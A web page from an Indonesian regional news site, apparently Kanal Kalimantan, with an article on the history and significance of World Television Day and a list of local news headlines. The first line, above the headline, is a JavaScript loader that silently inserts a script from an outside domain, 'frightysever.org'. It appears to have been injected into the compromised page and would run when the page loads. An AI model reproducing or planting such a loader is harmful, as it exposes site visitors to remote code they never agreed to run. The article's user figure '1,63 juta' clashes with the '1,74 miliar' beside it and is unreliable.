(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

21 November Hari Televisi Sedunia, Sejarah dan FaktaÂ


KANALKALIMANTAN.COM – Jarang yang tahu jika tanggal 21 November setiap tahunnya dirayakan sebagai Hari Televisi Sedunia atau World Television Day. Perayaan ini sudah dimulai sejak 1996, setelah Forum Televisi Dunia pertama dan Perserikatan Bangsa-Bangsa (PBB) menetapkan hari televisi sedunia.

Tapi saat internet sudah merajalela, laptop dan layar ponsel lebih sering digenggam umat manusia. Lantas, masih relevankah hari televisi dirayakan?

Nyatanya, menurut PBB, televisi masih menjadi sumber referensi untuk konsumsi video terbesar. Menurut data, diprediksi pengguna televisi masih akan terus meningkat dari 1,63 juta di 2017 bertambah jadi 1,74 miliar pada 2023.

Televisi juga masih memainkan peranan penting dalam membentuk opini publik, dan mempengaruhi dunia politik. Jadi, tidak ada salahnya kita kilas balik sejarah dan fakta-fakta hari televisi sedunia, seperti mengutip NDTV.

 

 

Baca juga: Perpustakaan Palnam Kedatangan Tim Antara TV Jakarta, Wakil Ketua DPRD Kalsel: Keren Modifikasinya!

 

Sejarah Hari Televisi Sedunia

Setelah pertemuan forum televisi dunia dan PBB yang dijadikan sebagai hari televisi sedunia, yakni 21 November 1996, maka semakin mengingatkan kembali tentang peran televisi dalam bidang komunikasi di era globalisasi.

Hari televisi sedunia juga diperingati sebagai komitmen pemerintah, organisasi media, dan masyarakat untuk menyampaikan informasi yang berimbang dan tidak memihak saat kebenaran berita dipertanyakan.

Tidak hanya informasi yang terbaru, lewat televisi seseorang juga bisa mengakses hiburan dan jadi alat untuk bersosialisasi, karena biasanya keluarga akan berkumpul menonton acara favorit bersama.

Akibat pandemi Covid-19, banyak orang juga berdiam diri di rumah, menjadikan televisi sebagai alat penting untuk mempersatukan kembali anggota keluarga, dan ajang quality time.

Baca juga: ‘Sakitnya Tuh di Sini’! Hadiri Muktamar Muhammadiyah Puan Disoraki “Huuuuuu” Satu Stadion

Tapi televisi juga bisa jadi bumerang bagi kesehatan mental, apabila informasi yang terus disajikan adalah tentang kabar buruk, misalnya kasus Covid-19 yang terus bertambah, kematian hingga uji coba vaksin yang gagal.

Di sinilah perlunya peran penonton televisi untuk memilah informasi yang sekiranya tidak baik untuk dikonsumsi. Jadi, carilah informasi atau tontonan yang bisa meningkatkan hormon dopamin atau kebahagiaan, sehingga kesehatan mental tetap terjaga. (Kanalkalimantan.com/kk)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.